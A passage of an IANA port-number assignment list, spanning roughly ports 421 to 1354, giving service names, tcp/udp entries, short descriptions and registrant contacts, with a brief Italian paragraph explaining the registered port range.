Ariel ariel2 421/udp Ariel ariel3 422/tcp Ariel ariel3 422/udp Ariel # Jonathan Lavigne opc-job-start 423/tcp IBM Operations Planning and Control Start opc-job-start 423/udp IBM Operations Planning and Control Start opc-job-track 424/tcp IBM Operations Planning and Control Track opc-job-track 424/udp IBM Operations Planning and Control Track # Conny Larsson icad-el 425/tcp ICAD icad-el 425/udp ICAD # Larry Stone smartsdp 426/tcp smartsdp smartsdp 426/udp smartsdp # Alexander Dupuy svrloc 427/tcp Server Location svrloc 427/udp Server Location # ocs_cmu 428/tcp OCS_CMU ocs_cmu 428/udp OCS_CMU ocs_amu 429/tcp OCS_AMU ocs_amu 429/udp OCS_AMU # Florence Wyman utmpsd 430/tcp UTMPSD utmpsd 430/udp UTMPSD utmpcd 431/tcp UTMPCD utmpcd 431/udp UTMPCD iasd 432/tcp IASD iasd 432/udp IASD # Nir Baroz nnsp 433/tcp NNSP nnsp 433/udp NNSP # Rob Robertson mobileip-agent 434/tcp MobileIP-Agent mobileip-agent 434/udp MobileIP-Agent mobilip-mn 435/tcp MobilIP-MN mobilip-mn 435/udp MobilIP-MN # Kannan Alagappan dna-cml 436/tcp DNA-CML dna-cml 436/udp DNA-CML # Dan Flowers comscm 437/tcp comscm comscm 437/udp comscm # Jim Teague dsfgw 438/tcp dsfgw dsfgw 438/udp dsfgw # Andy McKeen dasp 439/tcp dasp Thomas Obermair dasp 439/udp dasp tommy@inlab.m.eunet.de # Thomas Obermair sgcp 440/tcp sgcp sgcp 440/udp sgcp # Marshall Rose decvms-sysmgt 441/tcp decvms-sysmgt decvms-sysmgt 441/udp decvms-sysmgt # Lee Barton cvc_hostd 442/tcp cvc_hostd cvc_hostd 442/udp cvc_hostd # Bill Davidson https 443/tcp http protocol over TLS/SSL https 443/udp http protocol over TLS/SSL # Kipp E.B. Hickman snpp 444/tcp Simple Network Paging Protocol snpp 444/udp Simple Network Paging Protocol # [RFC1568] microsoft-ds 445/tcp Microsoft-DS microsoft-ds 445/udp Microsoft-DS # Pradeep Bahl ddm-rdb 446/tcp DDM-RDB ddm-rdb 446/udp DDM-RDB ddm-dfm 447/tcp DDM-RFM ddm-dfm 447/udp DDM-RFM # Jan David Fisher ddm-ssl 448/tcp DDM-SSL ddm-ssl 448/udp DDM-SSL # Steve Ritland as-servermap 449/tcp AS Server Mapper as-servermap 449/udp AS Server Mapper # Barbara Foss tserver 450/tcp TServer tserver 450/udp TServer # Harvey S. Schultz sfs-smp-net 451/tcp Cray Network Semaphore server sfs-smp-net 451/udp Cray Network Semaphore server sfs-config 452/tcp Cray SFS config server sfs-config 452/udp Cray SFS config server # Walter Poxon creativeserver 453/tcp CreativeServer creativeserver 453/udp CreativeServer contentserver 454/tcp ContentServer contentserver 454/udp ContentServer creativepartnr 455/tcp CreativePartnr creativepartnr 455/udp CreativePartnr # Jesus Ortiz macon-tcp 456/tcp macon-tcp macon-udp 456/udp macon-udp # Yoshinobu Inoue # scohelp 457/tcp scohelp scohelp 457/udp scohelp # Faith Zack appleqtc 458/tcp apple quick time appleqtc 458/udp apple quick time # Murali Ranganathan ampr-rcmd 459/tcp ampr-rcmd ampr-rcmd 459/udp ampr-rcmd # Rob Janssen skronk 460/tcp skronk skronk 460/udp skronk # Henry Strickland datasurfsrv 461/tcp DataRampSrv datasurfsrv 461/udp DataRampSrv datasurfsrvsec 462/tcp DataRampSrvSec datasurfsrvsec 462/udp DataRampSrvSec # Diane Downie alpes 463/tcp alpes alpes 463/udp alpes # Alain Durand kpasswd 464/tcp kpasswd kpasswd 464/udp kpasswd # Theodore Ts'o digital-vrc 466/tcp digital-vrc digital-vrc 466/udp digital-vrc # Peter Higginson mylex-mapd 467/tcp mylex-mapd mylex-mapd 467/udp mylex-mapd # Gary Lewis photuris 468/tcp proturis photuris 468/udp proturis # Bill Simpson rcp 469/tcp Radio Control Protocol rcp 469/udp Radio Control Protocol # Jim Jennings +1-708-538-7241 scx-proxy 470/tcp scx-proxy scx-proxy 470/udp scx-proxy # Scott Narveson mondex 471/tcp Mondex mondex 471/udp Mondex # Bill Reding ljk-login 472/tcp ljk-login ljk-login 472/udp ljk-login # LJK Software, Cambridge, Massachusetts # hybrid-pop 473/tcp hybrid-pop hybrid-pop 473/udp hybrid-pop # Rami Rubin tn-tl-w1 474/tcp tn-tl-w1 tn-tl-w2 474/udp tn-tl-w2 # Ed Kress tcpnethaspsrv 475/tcp tcpnethaspsrv tcpnethaspsrv 475/udp tcpnethaspsrv # Charlie Hava tn-tl-fd1 476/tcp tn-tl-fd1 tn-tl-fd1 476/udp tn-tl-fd1 # Ed Kress ss7ns 477/tcp ss7ns ss7ns 477/udp ss7ns # Jean-Michel URSCH spsc 478/tcp spsc spsc 478/udp spsc # Mike Rieker iafserver 479/tcp iafserver iafserver 479/udp iafserver iafdbase 480/tcp iafdbase iafdbase 480/udp iafdbase # ricky@solect.com ph 481/tcp Ph service ph 481/udp Ph service # Roland Hedberg bgs-nsi 482/tcp bgs-nsi bgs-nsi 482/udp bgs-nsi # Jon Saperia ulpnet 483/tcp ulpnet ulpnet 483/udp ulpnet # Kevin Mooney integra-sme 484/tcp Integra Software Management Environment integra-sme 484/udp Integra Software Management Environment # Randall Dow powerburst 485/tcp Air Soft Power Burst powerburst 485/udp Air Soft Power Burst # avian 486/tcp avian avian 486/udp avian # Robert Ullmann # saft 487/tcp saft Simple Asynchronous File Transfer saft 487/udp saft Simple Asynchronous File Transfer # Ulli Horlacher gss-http 488/tcp gss-http gss-http 488/udp gss-http # Doug Rosenthal nest-protocol 489/tcp nest-protocol nest-protocol 489/udp nest-protocol # Gil Gameiro micom-pfs 490/tcp micom-pfs micom-pfs 490/udp micom-pfs # David Misunas go-login 491/tcp go-login go-login 491/udp go-login # Troy Morrison ticf-1 492/tcp Transport Independent Convergence for FNA ticf-1 492/udp Transport Independent Convergence for FNA ticf-2 493/tcp Transport Independent Convergence for FNA ticf-2 493/udp Transport Independent Convergence for FNA # Mamoru Ito pov-ray 494/tcp POV-Ray pov-ray 494/udp POV-Ray # Chris Cason intecourier 495/tcp intecourier intecourier 495/udp intecourier # Steve Favor pim-rp-disc 496/tcp PIM-RP-DISC pim-rp-disc 496/udp PIM-RP-DISC # Dino Farinacci dantz 497/tcp dantz dantz 497/udp dantz # Dotty Yackle siam 498/tcp siam siam 498/udp siam # Philippe Gilbert iso-ill 499/tcp ISO ILL Protocol iso-ill 499/udp ISO ILL Protocol # Mark H. Needleman isakmp 500/tcp isakmp isakmp 500/udp isakmp # Mark Schertler stmf 501/tcp STMF stmf 501/udp STMF # Alan Ungar asa-appl-proto 502/tcp asa-appl-proto asa-appl-proto 502/udp asa-appl-proto # Dennis Dube intrinsa 503/tcp Intrinsa intrinsa 503/udp Intrinsa # Robert Ford citadel 504/tcp citadel citadel 504/udp citadel # Art Cancro mailbox-lm 505/tcp mailbox-lm mailbox-lm 505/udp mailbox-lm # Beverly Moody ohimsrv 506/tcp ohimsrv ohimsrv 506/udp ohimsrv # Scott Powell crs 507/tcp crs crs 507/udp crs # Brad Wright xvttp 508/tcp xvttp xvttp 508/udp xvttp # Keith J. Alphonso snare 509/tcp snare snare 509/udp snare # Dennis Batchelder fcp 510/tcp FirstClass Protocol fcp 510/udp FirstClass Protocol # Mike Marshburn passgo 511/tcp PassGo passgo 511/udp PassGo # John Rainford exec 512/tcp remote process execution; # authentication performed using # passwords and UNIX loppgin names comsat 512/udp biff 512/udp used by mail system to notify users # of new mail received; currently # receives messages only from # processes on the same machine login 513/tcp remote login a la telnet; # automatic authentication performed # based on priviledged port numbers # and distributed data bases which # identify "authentication domains" who 513/udp maintains data bases showing who's # logged in to machines on a local # net and the load average of the # machine shell 514/tcp cmd # like exec, but automatic authentication # is performed as for login server syslog 514/udp printer 515/tcp spooler printer 515/udp spooler videotex 516/tcp videotex videotex 516/udp videotex # Daniel Mavrakis talk 517/tcp like tenex link, but across # machine - unfortunately, doesn't # use link protocol (this is actually # just a rendezvous port from which a # tcp connection is established) talk 517/udp like tenex link, but across # machine - unfortunately, doesn't # use link protocol (this is actually # just a rendezvous port from which a # tcp connection is established) ntalk 518/tcp ntalk 518/udp utime 519/tcp unixtime utime 519/udp unixtime efs 520/tcp extended file name server router 520/udp local routing process (on site); # uses variant of Xerox NS routing # information protocol - RIP ripng 521/tcp ripng ripng 521/udp ripng # Robert E. Minnear ulp 522/tcp ULP ulp 522/udp ULP # Max Morris ibm-db2 523/tcp IBM-DB2 ibm-db2 523/udp IBM-DB2 # Peter Pau ncp 524/tcp NCP ncp 524/udp NCP # Don Provan timed 525/tcp timeserver timed 525/udp timeserver tempo 526/tcp newdate tempo 526/udp newdate stx 527/tcp Stock IXChange stx 527/udp Stock IXChange custix 528/tcp Customer IXChange custix 528/udp Customer IXChange # Ralph Hanan irc-serv 529/tcp IRC-SERV irc-serv 529/udp IRC-SERV # Brian Tackett courier 530/tcp rpc courier 530/udp rpc conference 531/tcp chat conference 531/udp chat netnews 532/tcp readnews netnews 532/udp readnews netwall 533/tcp for emergency broadcasts netwall 533/udp for emergency broadcasts mm-admin 534/tcp MegaMedia Admin mm-admin 534/udp MegaMedia Admin # Andreas Heidemann iiop 535/tcp iiop iiop 535/udp iiop # Jeff M.Michaud opalis-rdv 536/tcp opalis-rdv opalis-rdv 536/udp opalis-rdv # Laurent Domenech nmsp 537/tcp Networked Media Streaming Protocol nmsp 537/udp Networked Media Streaming Protocol # Paul Santinelli Jr. gdomap 538/tcp gdomap gdomap 538/udp gdomap # Richard Frith-Macdonald apertus-ldp 539/tcp Apertus Technologies Load Determination apertus-ldp 539/udp Apertus Technologies Load Determination uucp 540/tcp uucpd uucp 540/udp uucpd uucp-rlogin 541/tcp uucp-rlogin uucp-rlogin 541/udp uucp-rlogin # Stuart Lynne commerce 542/tcp commerce commerce 542/udp commerce # Randy Epstein klogin 543/tcp klogin 543/udp kshell 544/tcp krcmd kshell 544/udp krcmd appleqtcsrvr 545/tcp appleqtcsrvr appleqtcsrvr 545/udp appleqtcsrvr # Murali Ranganathan # dhcpv6-client 546/tcp DHCPv6 Client dhcpv6-client 546/udp DHCPv6 Client dhcpv6-server 547/tcp DHCPv6 Server dhcpv6-server 547/udp DHCPv6 Server # Jim Bound afpovertcp 548/tcp AFP over TCP afpovertcp 548/udp AFP over TCP # Leland Wallace idfp 549/tcp IDFP idfp 549/udp IDFP # Ramana Kovi new-rwho 550/tcp new-who new-rwho 550/udp new-who cybercash 551/tcp cybercash cybercash 551/udp cybercash # Donald E. Eastlake 3rd deviceshare 552/tcp deviceshare deviceshare 552/udp deviceshare # Brian Schenkenberger pirp 553/tcp pirp pirp 553/udp pirp # D. J. Bernstein rtsp 554/tcp Real Time Stream Control Protocol rtsp 554/udp Real Time Stream Control Protocol # Rob Lanphier dsf 555/tcp dsf 555/udp remotefs 556/tcp rfs server remotefs 556/udp rfs server openvms-sysipc 557/tcp openvms-sysipc openvms-sysipc 557/udp openvms-sysipc # Alan Potter sdnskmp 558/tcp SDNSKMP sdnskmp 558/udp SDNSKMP teedtap 559/tcp TEEDTAP teedtap 559/udp TEEDTAP # Mort Hoffman rmonitor 560/tcp rmonitord rmonitor 560/udp rmonitord monitor 561/tcp monitor 561/udp chshell 562/tcp chcmd chshell 562/udp chcmd nntps 563/tcp nntp protocol over TLS/SSL (was snntp) nntps 563/udp nntp protocol over TLS/SSL (was snntp) # Kipp E.B. Hickman 9pfs 564/tcp plan 9 file service 9pfs 564/udp plan 9 file service whoami 565/tcp whoami whoami 565/udp whoami streettalk 566/tcp streettalk streettalk 566/udp streettalk banyan-rpc 567/tcp banyan-rpc banyan-rpc 567/udp banyan-rpc # Tom Lemaire ms-shuttle 568/tcp microsoft shuttle ms-shuttle 568/udp microsoft shuttle # Rudolph Balaz ms-rome 569/tcp microsoft rome ms-rome 569/udp microsoft rome # Rudolph Balaz meter 570/tcp demon meter 570/udp demon meter 571/tcp udemon meter 571/udp udemon sonar 572/tcp sonar sonar 572/udp sonar # Keith Moore banyan-vip 573/tcp banyan-vip banyan-vip 573/udp banyan-vip # Denis Leclerc ftp-agent 574/tcp FTP Software Agent System ftp-agent 574/udp FTP Software Agent System # Michael S. Greenberg vemmi 575/tcp VEMMI vemmi 575/udp VEMMI # Daniel Mavrakis ipcd 576/tcp ipcd ipcd 576/udp ipcd vnas 577/tcp vnas vnas 577/udp vnas ipdd 578/tcp ipdd ipdd 578/udp ipdd # Jay Farhat decbsrv 579/tcp decbsrv decbsrv 579/udp decbsrv # Rudi Martin sntp-heartbeat 580/tcp SNTP HEARTBEAT sntp-heartbeat 580/udp SNTP HEARTBEAT # Louis Mamakos bdp 581/tcp Bundle Discovery Protocol bdp 581/udp Bundle Discovery Protocol # Gary Malkin scc-security 582/tcp SCC Security scc-security 582/udp SCC Security # Prashant Dholakia philips-vc 583/tcp Philips Video-Conferencing philips-vc 583/udp Philips Video-Conferencing # Janna Chang keyserver 584/tcp Key Server keyserver 584/udp Key Server # Gary Howland imap4-ssl 585/tcp IMAP4+SSL (use 993 instead) imap4-ssl 585/udp IMAP4+SSL (use 993 instead) # Terry Gray # Use of 585 is not recommended, use 993 instead password-chg 586/tcp Password Change password-chg 586/udp Password Change submission 587/tcp Submission submission 587/udp Submission # Randy Gellens cal 588/tcp CAL cal 588/udp CAL # Myron Hattig eyelink 589/tcp EyeLink eyelink 589/udp EyeLink # Dave Stampe tns-cml 590/tcp TNS CML tns-cml 590/udp TNS CML # Jerome Albin http-alt 591/tcp FileMaker, Inc. - HTTP Alternate (see Port 80) http-alt 591/udp FileMaker, Inc. - HTTP Alternate (see Port 80) # Clay Maeckel eudora-set 592/tcp Eudora Set eudora-set 592/udp Eudora Set # Randall Gellens http-rpc-epmap 593/tcp HTTP RPC Ep Map http-rpc-epmap 593/udp HTTP RPC Ep Map # Edward Reus tpip 594/tcp TPIP tpip 594/udp TPIP # Brad Spear cab-protocol 595/tcp CAB Protocol cab-protocol 595/udp CAB Protocol # Winston Hetherington smsd 596/tcp SMSD smsd 596/udp SMSD # Wayne Barlow ptcnameservice 597/tcp PTC Name Service ptcnameservice 597/udp PTC Name Service # Yuri Machkasov sco-websrvrmg3 598/tcp SCO Web Server Manager 3 sco-websrvrmg3 598/udp SCO Web Server Manager 3 # Simon Baldwin acp 599/tcp Aeolon Core Protocol acp 599/udp Aeolon Core Protocol # Mike Marshburn ipcserver 600/tcp Sun IPC server ipcserver 600/udp Sun IPC server urm 606/tcp Cray Unified Resource Manager urm 606/udp Cray Unified Resource Manager nqs 607/tcp nqs nqs 607/udp nqs # Bill Schiefelbein sift-uft 608/tcp Sender-Initiated/Unsolicited File Transfer sift-uft 608/udp Sender-Initiated/Unsolicited File Transfer # Rick Troth npmp-trap 609/tcp npmp-trap npmp-trap 609/udp npmp-trap npmp-local 610/tcp npmp-local npmp-local 610/udp npmp-local npmp-gui 611/tcp npmp-gui npmp-gui 611/udp npmp-gui # John Barnes hmmp-ind 612/tcp HMMP Indication hmmp-ind 612/udp HMMP Indication hmmp-op 613/tcp HMMP Operation hmmp-op 613/udp HMMP Operation # Andrew Sinclair sshell 614/tcp SSLshell sshell 614/udp SSLshell # Simon J. Gerraty sco-inetmgr 615/tcp Internet Configuration Manager sco-inetmgr 615/udp Internet Configuration Manager sco-sysmgr 616/tcp SCO System Administration Server sco-sysmgr 616/udp SCO System Administration Server sco-dtmgr 617/tcp SCO Desktop Administration Server sco-dtmgr 617/udp SCO Desktop Administration Server # Christopher Durham dei-icda 618/tcp DEI-ICDA dei-icda 618/udp DEI-ICDA # David Turner digital-evm 619/tcp Digital EVM digital-evm 619/udp Digital EVM # Jem Treadwell sco-websrvrmgr 620/tcp SCO WebServer Manager sco-websrvrmgr 620/udp SCO WebServer Manager # Christopher Durham escp-ip 621/tcp ESCP escp-ip 621/udp ESCP # Lai Zit Seng collaborator 622/tcp Collaborator collaborator 622/udp Collaborator # Johnson Davis aux_bus_shunt 623/tcp Aux Bus Shunt aux_bus_shunt 623/udp Aux Bus Shunt # Steve Williams cryptoadmin 624/tcp Crypto Admin cryptoadmin 624/udp Crypto Admin # Matt Lachance dec_dlm 625/tcp DEC DLM dec_dlm 625/udp DEC DLM # Rudi Martin asia 626/tcp ASIA asia 626/udp ASIA # Michael Dasenbrock passgo-tivoli 627/tcp PassGo Tivoli passgo-tivoli 627/udp PassGo Tivoli # Chris Hall qmqp 628/tcp QMQP qmqp 628/udp QMQP # Dan Bernstein 3com-amp3 629/tcp 3Com AMP3 3com-amp3 629/udp 3Com AMP3 # Prakash Banthia rda 630/tcp RDA rda 630/udp RDA # John Hadjioannou ipp 631/tcp IPP (Internet Printing Protocol) ipp 631/udp IPP (Internet Printing Protocol) # Carl-Uno Manros bmpp 632/tcp bmpp bmpp 632/udp bmpp # Troy Rollo servstat 633/tcp Service Status update (Sterling Software) servstat 633/udp Service Status update (Sterling Software) # Greg Rose ginad 634/tcp ginad ginad 634/udp ginad # Mark Crother rlzdbase 635/tcp RLZ DBase rlzdbase 635/udp RLZ DBase # Michael Ginn ldaps 636/tcp ldap protocol over TLS/SSL (was sldap) ldaps 636/udp ldap protocol over TLS/SSL (was sldap) # Pat Richard lanserver 637/tcp lanserver lanserver 637/udp lanserver # Chris Larsson mcns-sec 638/tcp mcns-sec mcns-sec 638/udp mcns-sec # Kaz Ozawa msdp 639/tcp MSDP msdp 639/udp MSDP # Dino Farinacci entrust-sps 640/tcp entrust-sps entrust-sps 640/udp entrust-sps # Marek Buchler repcmd 641/tcp repcmd repcmd 641/udp repcmd # Scott Dale esro-emsdp 642/tcp ESRO-EMSDP V1.3 esro-emsdp 642/udp ESRO-EMSDP V1.3 # Mohsen Banan sanity 643/tcp SANity sanity 643/udp SANity # Peter Viscarola dwr 644/tcp dwr dwr 644/udp dwr # Bill Fenner pssc 645/tcp PSSC pssc 645/udp PSSC # Egon Meier-Engelen ldp 646/tcp LDP ldp 646/udp LDP # Bob Thomas dhcp-failover 647/tcp DHCP Failover dhcp-failover 647/udp DHCP Failover # Bernard Volz rrp 648/tcp Registry Registrar Protocol (RRP) rrp 648/udp Registry Registrar Protocol (RRP) # Scott Hollenbeck aminet 649/tcp Aminet aminet 649/udp Aminet # Martin Toeller obex 650/tcp OBEX obex 650/udp OBEX # Jeff Garbers ieee-mms 651/tcp IEEE MMS ieee-mms 651/udp IEEE MMS # Curtis Anderson udlr-dtcp 652/tcp UDLR_DTCP udlr-dtcp 652/udp UDLR_DTCP # Patrick Cipiere # 653-665 Unassigned mdqs 666/tcp mdqs 666/udp doom 666/tcp doom Id Software doom 666/udp doom Id Software # disclose 667/tcp campaign contribution disclosures - SDR Technologies disclose 667/udp campaign contribution disclosures - SDR Technologies # Jim Dixon mecomm 668/tcp MeComm mecomm 668/udp MeComm meregister 669/tcp MeRegister meregister 669/udp MeRegister # Armin Sawusch vacdsm-sws 670/tcp VACDSM-SWS vacdsm-sws 670/udp VACDSM-SWS vacdsm-app 671/tcp VACDSM-APP vacdsm-app 671/udp VACDSM-APP vpps-qua 672/tcp VPPS-QUA vpps-qua 672/udp VPPS-QUA cimplex 673/tcp CIMPLEX cimplex 673/udp CIMPLEX # Ulysses G. Smith Jr. acap 674/tcp ACAP acap 674/udp ACAP # Chris Newman dctp 675/tcp DCTP dctp 675/udp DCTP # Andre Kramer vpps-via 676/tcp VPPS Via vpps-via 676/udp VPPS Via # Ulysses G. Smith Jr. vpp 677/tcp Virtual Presence Protocol vpp 677/udp Virtual Presence Protocol # Klaus Wolf ggf-ncp 678/tcp GNU Gereration Foundation NCP ggf-ncp 678/udp GNU Generation Foundation NCP # Noah Paul mrm 679/tcp MRM mrm 679/udp MRM # Liming Wei entrust-aaas 680/tcp entrust-aaas entrust-aaas 680/udp entrust-aaas entrust-aams 681/tcp entrust-aams entrust-aams 681/udp entrust-aams # Adrian Mancini xfr 682/tcp XFR xfr 682/udp XFR # Noah Paul corba-iiop 683/tcp CORBA IIOP corba-iiop 683/udp CORBA IIOP corba-iiop-ssl 684/tcp CORBA IIOP SSL corba-iiop-ssl 684/udp CORBA IIOP SSL # Henry Lowe mdc-portmapper 685/tcp MDC Port Mapper mdc-portmapper 685/udp MDC Port Mapper # Noah Paul hcp-wismar 686/tcp Hardware Control Protocol Wismar hcp-wismar 686/udp Hardware Control Protocol Wismar # David Merchant asipregistry 687/tcp asipregistry asipregistry 687/udp asipregistry # Erik Sea # 688-703 Unassigned elcsd 704/tcp errlog copy/server daemon elcsd 704/udp errlog copy/server daemon agentx 705/tcp AgentX agentx 705/udp AgentX # Bob Natale # 706 Unassigned borland-dsj 707/tcp Borland DSJ borland-dsj 707/udp Borland DSJ # Gerg Cole # 708 Unassigned entrust-kmsh 709/tcp Entrust Key Management Service Handler entrust-kmsh 709/udp Entrust Key Management Service Handler entrust-ash 710/tcp Entrust Administration Service Handler entrust-ash 710/udp Entrust Administration Service Handler # Peter Whittaker cisco-tdp 711/tcp Cisco TDP cisco-tdp 711/udp Cisco TDP # Bruce Davie # 712-728 Unassigned netviewdm1 729/tcp IBM NetView DM/6000 Server/Client netviewdm1 729/udp IBM NetView DM/6000 Server/Client netviewdm2 730/tcp IBM NetView DM/6000 send/tcp netviewdm2 730/udp IBM NetView DM/6000 send/tcp netviewdm3 731/tcp IBM NetView DM/6000 receive/tcp netviewdm3 731/udp IBM NetView DM/6000 receive/tcp # Philippe Binet (phbinet@vnet.IBM.COM) netgw 741/tcp netGW netgw 741/udp netGW # Oliver Korfmacher (okorf@netcs.com) netrcs 742/tcp Network based Rev. Cont. Sys. netrcs 742/udp Network based Rev. Cont. Sys. # Gordon C. Galligher flexlm 744/tcp Flexible License Manager flexlm 744/udp Flexible License Manager # Matt Christiano # fujitsu-dev 747/tcp Fujitsu Device Control fujitsu-dev 747/udp Fujitsu Device Control ris-cm 748/tcp Russell Info Sci Calendar Manager ris-cm 748/udp Russell Info Sci Calendar Manager kerberos-adm 749/tcp kerberos administration kerberos-adm 749/udp kerberos administration rfile 750/tcp loadav 750/udp kerberos-iv 750/udp kerberos version iv # Martin Hamilton pump 751/tcp pump 751/udp qrh 752/tcp qrh 752/udp rrh 753/tcp rrh 753/udp tell 754/tcp send tell 754/udp send nlogin 758/tcp nlogin 758/udp con 759/tcp con 759/udp ns 760/tcp ns 760/udp rxe 761/tcp rxe 761/udp quotad 762/tcp quotad 762/udp cycleserv 763/tcp cycleserv 763/udp omserv 764/tcp omserv 764/udp webster 765/tcp webster 765/udp phonebook 767/tcp phone phonebook 767/udp phone vid 769/tcp vid 769/udp cadlock 770/tcp cadlock 770/udp rtip 771/tcp rtip 771/udp cycleserv2 772/tcp cycleserv2 772/udp submit 773/tcp notify 773/udp rpasswd 774/tcp acmaint_dbd 774/udp entomb 775/tcp acmaint_transd 775/udp wpages 776/tcp wpages 776/udp # Josyula R. Rao multiling-http 777/tcp Multiling HTTP multiling-http 777/udp Multiling HTTP # Alejandro Bonet # 778-779 Unassgined wpgs 780/tcp wpgs 780/udp concert 786/tcp Concert concert 786/udp Concert # Josyula R. Rao qsc 787/tcp QSC qsc 787/udp QSC # James Furness # 788-799 Unassigned mdbs_daemon 800/tcp mdbs_daemon 800/udp device 801/tcp device 801/udp # 802-809 Unassigned fcp-udp 810/tcp FCP fcp-udp 810/udp FCP Datagram # Paul Whittemore # 811-827 Unassigned itm-mcell-s 828/tcp itm-mcell-s itm-mcell-s 828/udp itm-mcell-s # Miles O'Neal pkix-3-ca-ra 829/tcp PKIX-3 CA/RA pkix-3-ca-ra 829/udp PKIX-3 CA/RA # Carlisle Adams # 830-872 Unassigned rsync 873/tcp rsync rsync 873/udp rsync # Andrew Tridgell # 875-885 Unassigned iclcnet-locate 886/tcp ICL coNETion locate server iclcnet-locate 886/udp ICL coNETion locate server # Bob Lyon iclcnet_svinfo 887/tcp ICL coNETion server info iclcnet_svinfo 887/udp ICL coNETion server info # Bob Lyon accessbuilder 888/tcp AccessBuilder accessbuilder 888/udp AccessBuilder # Steve Sweeney # The following entry records an unassigned but widespread use cddbp 888/tcp CD Database Protocol # Steve Scherf # # 889-899 Unassigned omginitialrefs 900/tcp OMG Initial Refs omginitialrefs 900/udp OMG Initial Refs # Christian Callsen # 901-910 Unassigned xact-backup 911/tcp xact-backup xact-backup 911/udp xact-backup # Bill Carroll # 912-988 Unassigned ftps-data 989/tcp ftp protocol, data, over TLS/SSL ftps-data 989/udp ftp protocol, data, over TLS/SSL ftps 990/tcp ftp protocol, control, over TLS/SSL ftps 990/udp ftp protocol, control, over TLS/SSL # Christopher Allen nas 991/tcp Netnews Administration System nas 991/udp Netnews Administration System # Vera Heinau # Heiko Schlichting telnets 992/tcp telnet protocol over TLS/SSL telnets 992/udp telnet protocol over TLS/SSL imaps 993/tcp imap4 protocol over TLS/SSL imaps 993/udp imap4 protocol over TLS/SSL ircs 994/tcp irc protocol over TLS/SSL ircs 994/udp irc protocol over TLS/SSL # Christopher Allen pop3s 995/tcp pop3 protocol over TLS/SSL (was spop3) pop3s 995/udp pop3 protocol over TLS/SSL (was spop3) # Gordon Mangione vsinet 996/tcp vsinet vsinet 996/udp vsinet # Rob Juergens maitrd 997/tcp maitrd 997/udp busboy 998/tcp puparp 998/udp garcon 999/tcp applix 999/udp Applix ac puprouter 999/tcp puprouter 999/udp cadlock 1000/tcp ock 1000/udp # 1001-1009 Unassigned # 1008/udp Possibly used by Sun Solaris???? surf 1010/tcp surf surf 1010/udp surf # Joseph Geer # 1011-1022 Reserved 1023/tcp Reserved 1023/udp Reserved # IANA PORTE REGISTERED Le porte 'registered' sono elencate dalla IANA e su molti sistemi possono essere utilizzate dai processi o dai programmi degli utenti ordinari. La IANA registra l'uso di queste porte come un servizio alla comunita'. Anche in questo caso, per estendere le possibilita', le stesse porte sono assegnate anche alle connessioni di tipo UDP [RFC768] Il range delle porte 'registered' e' 1024-49151. Assegnazione Porte: Keyword Decimale Descrizione Referenze ------- -------- ----------- --------- 1024/tcp Reserved 1024/udp Reserved # IANA blackjack 1025/tcp network blackjack blackjack 1025/udp network blackjack iad1 1030/tcp BBN IAD iad1 1030/udp BBN IAD iad2 1031/tcp BBN IAD iad2 1031/udp BBN IAD iad3 1032/tcp BBN IAD iad3 1032/udp BBN IAD # Andy Malis neod1 1047/tcp Sun's NEO Object Request Broker neod1 1047/udp Sun's NEO Object Request Broker neod2 1048/tcp Sun's NEO Object Request Broker neod2 1048/udp Sun's NEO Object Request Broker # Rohit Garg nim 1058/tcp nim nim 1058/udp nim nimreg 1059/tcp nimreg nimreg 1059/udp nimreg # Robert Gordon instl_boots 1067/tcp Installation Bootstrap Proto. Serv. instl_boots 1067/udp Installation Bootstrap Proto. Serv. instl_bootc 1068/tcp Installation Bootstrap Proto. Cli. instl_bootc 1068/udp Installation Bootstrap Proto. Cli. # David Arko < socks 1080/tcp Socks socks 1080/udp Socks # Ying-Da Lee rmiactivation 1098/tcp RMI Activation rmiactivation 1098/udp RMI Activation rmiregistry 1099/tcp RMI Registry rmiregistry 1099/udp RMI Registry # Adrain Colley nfsd-status 1110/tcp Cluster status info nfsd-keepalive 1110/udp Client status info # Edgar Circenis lmsocialserver 1111/tcp LM Social Server lmsocialserver 1111/udp LM Social Server # Ron Lussier mini-sql 1114/tcp Mini SQL mini-sql 1114/udp Mini SQL # David Hughes murray 1123/tcp Murray murray 1123/udp Murray # Stu Mark nfa 1155/tcp Network File Access nfa 1155/udp Network File Access # James Powell health-polling 1161/tcp Health Polling health-polling 1161/udp Health Polling health-trap 1162/tcp Health Trap health-trap 1162/udp Health Trap # Albert Holt mc-client 1180/tcp Millicent Client Proxy mc-client 1180/udp Millicent Client Proxy # Steve Glassman lupa 1212/tcp lupa lupa 1212/udp lupa # Barney Wolff nerv 1222/tcp SNI R&D network nerv 1222/udp SNI R&D network # Martin Freiss # 1223-1233 Unassigned search-agent 1234/tcp Infoseek Search Agent search-agent 1234/udp Infoseek Search Agent # Jackie Wu # 1235-1238 Unassigned nmsd 1239/tcp NMSD nmsd 1239/udp NMSD # Yuri Machkasov # 1240-1247 Unassigned hermes 1248/tcp hermes 1248/udp # 1249-1299 Unassigned h323hostcallsc 1300/tcp H323 Host Call Secure h323hostcallsc 1300/udp H323 Host Call Secure # Jim Toga # 1301-1309 Unassigned husky 1310/tcp Husky husky 1310/udp Husky # Mark Zang rxmon 1311/tcp RxMon rxmon 1311/udp RxMon # Javier Jiminez sti-envision 1312/tcp STI Envision sti-envision 1312/udp STI Envision # Don Stedman bmc_patroldb 1313/tcp BMC_PATROLDB bmc-patroldb 1313/udp BMC_PATROLDB # Devon Shows pdps 1314/tcp Photoscript Distributed Printing System pdps 1314/udp Photoscript Distributed Printing System # Les Klein # 1315-1320 Unassigned pip 1321/tcp PIP pip 1321/udp PIP # Gordon Mohr # 1322-1334 Unassigned digital-notary 1335/tcp Digital Notary Protocol digital-notary 1335/udp Digital Notary Protocol # Wes Doonan # 1336-1334 Unassigned vpjp 1345/tcp VPJP vpjp 1345/udp VPJP # Michael Collins alta-ana-lm 1346/tcp Alta Analytics License Manager alta-ana-lm 1346/udp Alta Analytics License Manager bbn-mmc 1347/tcp multi media conferencing bbn-mmc 1347/udp multi media conferencing bbn-mmx 1348/tcp multi media conferencing bbn-mmx 1348/udp multi media conferencing sbook 1349/tcp Registration Network Protocol sbook 1349/udp Registration Network Protocol editbench 1350/tcp Registration Network Protocol editbench 1350/udp Registration Network Protocol # Simson L. Garfinkel equationbuilder 1351/tcp Digital Tool Works (MIT) equationbuilder 1351/udp Digital Tool Works (MIT) # Terrence J. Talbot lotusnote 1352/tcp Lotus Note lotusnote 1352/udp Lotus Note # Greg Pflaum relief 1353/tcp Relief Consulting relief 1353/udp Relief Consulting # John Feiler rightbrain 1354/tcp RightBrain Software 